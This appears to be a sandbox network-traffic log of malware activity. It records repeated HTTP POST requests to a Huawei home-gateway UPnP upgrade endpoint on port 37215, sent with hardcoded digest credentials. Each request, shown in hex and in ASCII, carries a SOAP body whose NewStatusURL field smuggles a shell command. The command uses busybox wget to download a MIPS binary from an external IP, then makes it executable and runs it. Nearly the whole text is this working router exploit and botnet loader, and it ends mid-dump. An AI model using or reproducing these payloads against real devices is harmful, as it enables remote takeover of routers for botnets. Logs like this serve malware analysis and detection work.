22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:43.772640944 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:07.836677074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:56.988548040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	52438	156.241.120.140	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:21.710114956 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:25.856637955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:31.996634007 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:44.028594017 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:09.884560108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:59.036544085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 